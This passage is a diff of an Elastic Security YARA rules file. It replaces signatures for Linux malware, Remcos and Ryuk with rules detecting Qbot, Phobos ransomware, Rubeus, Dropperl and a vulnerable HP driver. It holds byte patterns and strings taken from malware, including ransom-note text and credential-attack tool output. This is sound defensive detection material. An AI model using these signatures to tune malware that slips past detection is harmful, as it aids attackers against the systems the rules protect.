-		$a = { 46 4F 55 4E 44 00 56 41 4C 55 45 00 44 45 4C 45 54 45 44 00 54 }
+		$a1 = "qbot" wide
+		$a2 = "stager_1.obf\\Benign\\mfc" wide
+		$a3 = "common.obf\\Benign\\mfc" wide
+		$a4 = "%u;%u;%u;"
+		$a5 = "%u.%u.%u.%u.%u.%u.%04x"
+		$a6 = "%u&%s&%u"
+		$get_string1 = { 33 D2 8B ?? 6A 5A 5? F7 ?? 8B ?? 08 8A 04 ?? 8B 55 ?? 8B ?? 10 3A 04 ?? }
+		$get_string2 = { 33 D2 8B ?? F7 75 F4 8B 45 08 8A 04 02 32 04 ?? 88 04 ?? ?? 83 ?? 01 }
+		$set_key = { 8D 87 00 04 00 00 50 56 E8 ?? ?? ?? ?? 59 8B D0 8B CE E8 }
+		$do_computer_use_russian_like_keyboard = { B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D }
+		$execute_each_tasks = { 8B 44 0E ?? 85 C0 74 ?? FF D0 EB ?? 6A 00 6A 00 6A 00 FF 74 0E ?? E8 ?? ?? ?? ?? 83 C4 10 }
+		$generate_random_alpha_num_string = { 57 E8 ?? ?? ?? ?? 48 50 8D 85 ?? ?? ?? ?? 6A 00 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C }
+		$load_base64_dll_from_file_and_inject_into_targets = { 10 C7 45 F0 50 00 00 00 83 65 E8 00 83 7D F0 0B 73 08 8B 45 F0 89 }
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Linux_Hacktool_Portscan_E57B0A0C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Qbot_1Ac22A26 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
+		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
 		author = "Elastic Security"
-		id = "e57b0a0c-66b8-488b-b19d-ae06623645fd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Portscan.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f8ee385316b60ee551565876287c06d76ac5765f005ca584d1ca6da13a6eb619"
-		logic_hash = "b2f67805e9381864591fdf61846284da97f8dd2f5c60484ce9c6e76d2f6f3872"
+		id = "1ac22a26-ec88-4e88-8fe6-a092bbb61904"
+		date = "2022-12-29"
+		modified = "2023-02-01"
+		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Qbot.yar#L99-L136"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a"
+		logic_hash = "d9beaf4a8c28a0b3c38dda6bf22a96b8c96ef715bd36de880504a9f970338fe2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "829c7d271ae475ef06d583148bbdf91af67ce4c7a831da73cc52e8406e7e8f9e"
+		fingerprint = "22436c48bc775284d1f682eaeb650fd998302021342efc322c4ca40dd30f1a0d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 10 83 7D 08 03 75 2B 83 EC 0C 8B 45 0C 83 C0 08 FF 30 8B 45 0C 83 }
+		$a1 = "qbot" wide
+		$a2 = "stager_1.obf\\Benign\\mfc" wide
+		$a3 = "common.obf\\Benign\\mfc" wide
+		$a4 = "%u;%u;%u"
+		$a5 = "%u.%u.%u.%u.%u.%u.%04x"
+		$a6 = "%u&%s&%u"
+		$a7 = "mnjhuiv40"
+		$a8 = "\\u%04X"
+		$get_string1 = { 33 D2 8B ?? 6A ?? 5? F7 ?? 8B ?? 08 8A 04 ?? 8B 55 ?? 8B ?? 10 3A 04 }
+		$get_string2 = { 8B C6 83 E0 ?? 8A 04 08 3A 04 1E 74 ?? 46 3B F2 72 }
+		$get_string3 = { 8A 04 ?? 32 04 ?? 88 04 ?? 4? 83 ?? 01 }
+		$set_key_1 = { 8D 87 00 04 00 00 50 56 E8 [4] 59 8B D0 8B CE E8 }
+		$set_key_2 = { 59 6A 14 58 6A 0B 66 89 87 [0-1] 20 04 00 00 }
+		$cccp_keyboard_0 = { 6A ?? 66 89 45 E? 58 6A ?? 66 89 45 E? 58 }
+		$cccp_keyboard_1 = { 66 8B 84 9? ?? FE FF FF B9 FF 03 00 00 66 23 C1 33 ?? 0F B7 }
+		$execute_each_tasks = { 8B 0D [4] 83 7C 0E 04 00 74 ?? 83 7C 0E 1C 00 74 ?? 8B 04 0E 85 C0 7E ?? 6B C0 3C }
+		$generate_random_alpha_num_string = { 57 E8 [4] 48 50 8D 85 [4] 6A 00 50 E8 [4] 8B 4D ?? 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C }
+		$load_and_inject_b64_dll_from_file = { 6B 45 FC 18 8B 4D F8 83 7C 01 04 00 76 ?? 6A 00 6B 45 FC 18 8B 4D F8 FF 74 01 10 6B 45 FC 18 }
+		$decipher_rsrc_data = { F6 86 38 04 00 00 04 89 BE 2C 04 00 00 89 BE 28 04 00 00 [2-6] 8B 0B 8D 45 F? 83 65 F? 00 8B D7 50 E8 }
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Linux_Trojan_Ebury_7B13E9B6 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Hpportio_B31E3473 : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ebury (Linux.Trojan.Ebury)"
+		description = "Name: HpPortIox64.sys, Version: 1.2.0.9"
 		author = "Elastic Security"
-		id = "7b13e9b6-ce96-4bd3-8196-83420280bd1f"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b31e3473-b87e-47df-b3ec-b09c69dcbb4e"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ebury.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "30d126ffc5b782236663c23734f1eef21e1cc929d549a37bba8e1e7b41321111"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_HpPortIo.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
+		logic_hash = "e449b45f3cf2836254614bbdc957aa7093162fc1acd672edd931d5f240503963"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a891724ce36e86637540f722bc13b44984771f709219976168f12fe782f08306"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "66067334492941eb2da8c72dc0d2f55ba1c2b564904f40b6e77925262501abd9"
+		threat_name = "Windows.VulnDriver.HpPortIo"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 44 24 10 4C 8B 54 24 18 4C 8B 5C 24 20 8B 5C 24 28 74 04 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 48 00 70 00 50 00 6F 00 72 00 74 00 49 00 6F 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x09][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Ransomware_Blackbasta_96Eb3F20 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Phobos_A5420148 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Ransomware Blackbasta (Linux.Ransomware.BlackBasta)"
+		description = "Identifies Phobos ransomware"
 		author = "Elastic Security"
-		id = "96eb3f20-9c40-4d40-8a6c-568a51c52d4d"
-		date = "2022-08-06"
-		modified = "2022-08-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_BlackBasta.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96339a7e87ffce6ced247feb9b4cb7c05b83ca315976a9522155bad726b8e5be"
-		logic_hash = "a5e0b60ba51490f70af53c9fba91e3349c712bebb10574eb4bed028ab961ae74"
+		id = "a5420148-2f80-4a14-8a0d-98943fcbe784"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Phobos.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "9fcfe41102bee4f8ecf19f30d0bbb2de50e1a1aff4e17c587b5d9adb417527c5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "5146ad9def7ccaba4b4896f345b0950c587ad5f96a106ec461caeb028d809ead"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "2b3937dbecb9a12e5e276c681eb40cb3884411a048175fcfe1bd4be3f7611aca"
+		threat_name = "Windows.Ransomware.Phobos"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = "Done time: %.4f seconds, encrypted: %.4f gb" ascii fullword
-		$a2 = "Your data are stolen and encrypted" ascii fullword
-		$a3 = "fileEncryptionPercent" ascii fullword
-		$a4 = "fileQueueLocker" ascii fullword
-		$a5 = "totalBytesEncrypted" ascii fullword
-		$seq_encrypt_block = { 41 56 31 D2 41 55 41 54 49 89 FE 55 53 48 89 F5 49 63 D8 4C }
-		$seq_encrypt_thread = { 4C 8B 74 24 ?? 31 DB 45 31 FF 4D 8B 6E ?? 49 83 FD ?? 0F 87 ?? ?? ?? ?? 31 C0 4D 39 EF 0F 82 ?? ?? ?? ?? 48 01 C3 4C 39 EB 0F 83 ?? ?? ?? ?? }
+		$a1 = { 61 00 63 00 75 00 74 00 65 00 00 00 61 00 63 00 74 00 69 00 6E 00 00 00 61 00 63 00 74 00 6F 00 6E 00 00 00 61 00 63 00 74 00 6F 00 72 00 00 00 61 00 63 00 75 00 66 00 66 00 00 }
+		$a2 = { 0C 6D 00 73 00 66 00 74 00 65 00 73 00 71 00 6C 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 61 00 67 00 65 00 6E 00 74 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 73 00 65 00 72 00 76 00 72 00 2E 00 65 00 78 00 65 00 00 00 73 00 71 00 6C 00 77 00 72 00 69 00 74 00 65 00 72 00 2E 00 65 00 78 00 65 00 00 00 6F 00 72 00 61 00 63 00 6C 00 65 00 2E 00 65 00 78 00 }
+		$a3 = { 31 00 63 00 64 00 00 00 33 00 64 00 73 00 00 00 33 00 66 00 72 00 00 00 33 00 67 00 32 00 00 00 33 00 67 00 70 00 00 00 37 00 7A 00 00 00 61 00 63 00 63 00 64 00 61 00 00 00 61 00 63 00 63 00 64 00 62 00 00 00 61 00 63 00 63 00 64 00 63 00 00 00 61 00 63 00 63 00 64 00 65 00 00 00 61 00 63 00 63 00 64 00 74 00 00 00 61 00 63 00 63 00 64 00 77 00 00 00 61 00 64 00 62 00 00 00 61 00 64 00 70 00 00 00 61 00 69 00 00 00 61 00 69 00 33 00 00 00 61 00 69 00 34 00 00 00 61 00 69 00 35 00 00 00 61 00 69 00 36 00 00 00 61 00 69 00 37 00 00 00 61 00 69 00 38 00 00 00 61 00 6E 00 69 00 6D 00 00 00 61 00 72 00 77 00 00 00 61 00 73 00 00 00 61 00 73 00 61 00 00 00 61 00 73 00 63 00 00 00 61 00 73 00 63 00 78 00 00 00 61 00 73 00 6D 00 00 00 61 00 73 00 6D 00 78 00 00 00 61 00 73 00 70 00 00 00 61 00 73 00 70 00 78 00 00 00 61 00 73 00 72 00 00 00 61 00 73 00 78 00 00 00 61 00 76 00 69 00 00 00 61 00 76 00 73 00 00 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 00 62 00 61 00 6B 00 00 00 62 00 61 00 79 00 00 00 62 00 64 00 00 00 62 00 69 00 6E 00 00 00 62 00 6D 00 70 00 00 00 }
 
 	condition:
-		3 of ($a*) and 1 of ($seq*)
+		2 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Remcos_B296E965 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Phobos_Ff55774D : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Remcos (Windows.Trojan.Remcos)"
+		description = "Identifies Phobos ransomware"
 		author = "Elastic Security"
-		id = "b296e965-a99e-4446-b969-ba233a2a8af4"
-		date = "2021-06-10"
+		id = "ff55774d-4425-4243-8156-ce029c1d5860"
+		date = "2020-06-25"
 		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Remcos.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed"
-		logic_hash = "069072abd1182eee50cb9937503d47845e7315d8e3cd6b63576adc8f21820c82"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Phobos.yar#L24-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "9ee41b9638a8cc1d9f9b254878c935c531b2f599be59550b3617b1de8cba2ba5"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d"
-		severity = 100
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "d8016c9be4a8e5b5ac32b7108542fee8426d65b4d37e2a9c5ad57284abb3781e"
+		threat_name = "Windows.Ransomware.Phobos"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "Remcos restarted by watchdog!" ascii fullword
-		$a2 = "Mutex_RemWatchdog" ascii fullword
-		$a3 = "%02i:%02i:%02i:%03i"
-		$a4 = "* Remcos v" ascii fullword
+		$c1 = { 24 18 83 C4 0C 8B 4F 0C 03 C6 50 8D 54 24 18 52 51 6A 00 6A 00 89 44 }
 
 	condition:
-		2 of them
+		1 of ($c*)
 }
-rule ELASTIC_Windows_Trojan_Remcos_7591E9F1 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Phobos_11Ea7Be5 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Remcos (Windows.Trojan.Remcos)"
+		description = "Identifies Phobos ransomware"
 		author = "Elastic Security"
-		id = "7591e9f1-452d-4731-9bec-545fb0272c80"
-		date = "2023-06-23"
-		modified = "2023-07-10"
-		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Remcos.yar#L25-L49"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4e6e5ecd1cf9c88d536c894d74320c77967fe08c75066098082bf237283842fa"
-		logic_hash = "96acf1ba7740a8d34d929ed4a4fa446c984c3a8f64a603d428e782b6997e4d20"
+		id = "11ea7be5-7aac-41d7-8d09-45131a9c656e"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Phobos.yar#L45-L64"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1f86695f316200c92d0d02f5f3ba9f68854978f98db5d4291a81c06c9f0b8d28"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9436c314f89a09900a9b3c2fd9bab4a0423912427cf47b71edce5eba31132449"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "a264f93e085134e5114c5d72e1bf93e70935e33756a79f1021e9c1e71d6c8697"
+		threat_name = "Windows.Ransomware.Phobos"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57676,33 +61959,28 @@ rule ELASTIC_Windows_Trojan_Remcos_7591E9F1 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "ServRem" ascii fullword
-		$a2 = "Screenshots" ascii fullword
-		$a3 = "MicRecords" ascii fullword
-		$a4 = "remcos.exe" wide nocase fullword
-		$a5 = "Remcos" wide fullword
-		$a6 = "logs.dat" wide fullword
+		$b1 = { C0 74 30 33 C0 40 8B CE D3 E0 85 C7 74 19 66 8B 04 73 66 89 }
 
 	condition:
-		3 of them
+		1 of ($b*)
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_25D3C5Ba : BETA FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Rubeus_43F18623 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Windows Hacktool Rubeus (Windows.Hacktool.Rubeus)"
 		author = "Elastic Security"
-		id = "25d3c5ba-8f80-4af0-8a5d-29c974fb016a"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4d461ff9b87e3a17637cef89ff8a85ef22f69695d4664f6fe8f271a6a5f7b4bc"
+		id = "43f18623-6024-4608-8019-e3fecd54cf84"
+		date = "2022-10-20"
+		modified = "2022-11-24"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Rubeus.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7b4691ad1cdad7663c32d07e911a03d9cc8b104f724c2825fd4957007649235"
+		logic_hash = "8714f30e12c0dc61c83491a71dbf9f1e9b6bc66663a8f2c069e7a7841d52cf68"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "18e70599e3a187e77697844fa358dd150e7e25ac74060e8c7cf2707fb7304efd"
-		threat_name = "Windows.Ransomware.Ryuk"
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "fbc2f67f394a4d21cac532b42c6749002cb7284b4a3912e18672881e6e74765d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -57710,259 +61988,239 @@ rule ELASTIC_Windows_Ransomware_Ryuk_25D3C5Ba : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$g1 = { 41 8B C0 45 03 C7 99 F7 FE 48 63 C2 8A 4C 84 20 }
+		$guid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii wide nocase
+		$print_str0 = "[*] Printing argument list for use with Rubeus" ascii wide
+		$print_str1 = "[+] Ticket successfully imported!" ascii wide
+		$print_str2 = "[+] Tickets successfully purged!" ascii wide
+		$print_str3 = "[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96" ascii wide
+		$print_str4 = "[*] Action: TGT Harvesting (with auto-renewal)" ascii wide
+		$print_str5 = "[X] Unable to retrieve TGT using tgtdeleg" ascii wide
+		$print_str6 = "[!] Unhandled Rubeus exception:" ascii wide
+		$print_str7 = "[*] Using a TGT /ticket to request service tickets" ascii wide
 
 	condition:
-		1 of ($g*)
+		$guid or 4 of ($print_str*)
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_878Bae7E : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_B97Baf37 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "878bae7e-1e53-4648-93aa-b4075eef256d"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "94bed2220aeb41ae8069cee56cc5299b9fc56797d3b54085b8246a03d9e8bd93"
+		id = "b97baf37-48db-4eb7-85c7-08e75054bea7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aff94f915fc81d5a2649ebd7c21ec8a4c2fc0d622ec9b790b43cc49f7feb83da"
+		logic_hash = "e58130c33242bc3020602c2c0254bed2bbc564c4a11806c6cfcd858fd724c362"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "93a501463bb2320a9ab824d70333da2b6f635eb5958d6f8de43fde3a21de2298"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "0852f1afa6162d14b076a3fc1f56e4d365b5d0e8932bae6ab055000cca7d1fba"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$b2 = "RyukReadMe.html" wide fullword
-		$b3 = "RyukReadMe.txt" wide fullword
+		$a = { 12 48 89 10 83 45 DC 01 83 45 D8 01 8B 45 D8 3B 45 BC 7C CF 8B }
 
 	condition:
-		1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_6C726744 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_E2443Be5 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "6c726744-acdb-443a-b683-b11f8b657f7a"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L44-L67"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ee7586d5cbef23d1863a4dfcc5da9b97397c993268881922c681022bf4f293f0"
+		id = "e2443be5-da15-4af2-b090-bf5accf2a844"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aff94f915fc81d5a2649ebd7c21ec8a4c2fc0d622ec9b790b43cc49f7feb83da"
+		logic_hash = "85733ff904cfa3eddaa4c4fbfc51c00494c3a3725e2eb722bbf33c82e7135336"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "d0a4608907e48d02d78ff40a59d47cad1b9258df31b7312dd1a85f8fee2a28d5"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "e49acaa476bd669b40ccc82a7d3a01e9c421e6709ecbfe8d0e24219677c96339"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "172.16." ascii fullword
-		$a2 = "192.168." ascii fullword
-		$a3 = "DEL /F" wide fullword
-		$a4 = "lsaas.exe" wide fullword
-		$a5 = "delete[]" ascii fullword
+		$a = { 45 F0 75 DB EB 17 48 8B 45 F8 48 83 C0 08 48 8B 10 48 8B 45 F8 48 }
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ryuk_1A4Ad952 : BETA FILE MEMORY
+rule ELASTIC_Linux_Trojan_Dropperl_683C2Ba1 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RYUK ransomware"
+		description = "Detects Linux Trojan Dropperl (Linux.Trojan.Dropperl)"
 		author = "Elastic Security"
-		id = "1a4ad952-cc99-4653-932b-290381e7c871"
-		date = "2020-04-30"
-		modified = "2021-08-23"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ryuk.yar#L69-L88"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "bb854f5760f41e2c103c99d8f128a2546926a614dff8753eaa1287ac583e213a"
+		id = "683c2ba1-fe4a-44e4-b176-8d5d5788e1a4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Dropperl.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a02e166fbf002dd4217c012f24bb3a8dbe310a9f0b0635eb20a7d315049367e1"
+		logic_hash = "eef2bdef7e20633f7dc92f653b43e3a217e8cbdbac63d05540bdd520e22dd1ed"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "d8c5162850e758e27439e808e914df63f42756c0b8f7c2b5f9346c0731d3960c"
-		threat_name = "Windows.Ransomware.Ryuk"
+		tags = "FILE, MEMORY"
+		fingerprint = "42dcea472417140d0f7768e8189ac3a8a46aaeff039be1efd36f8d50f81e347c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
